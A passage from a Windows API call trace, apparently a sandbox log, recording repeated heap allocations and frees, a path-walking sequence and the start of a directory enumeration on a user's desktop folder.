dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\") returned="iN9wXlo7M3\\" [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0125.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.694] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.694] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.694] PathFindFileNameW (pszPath="") returned="" [0125.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", 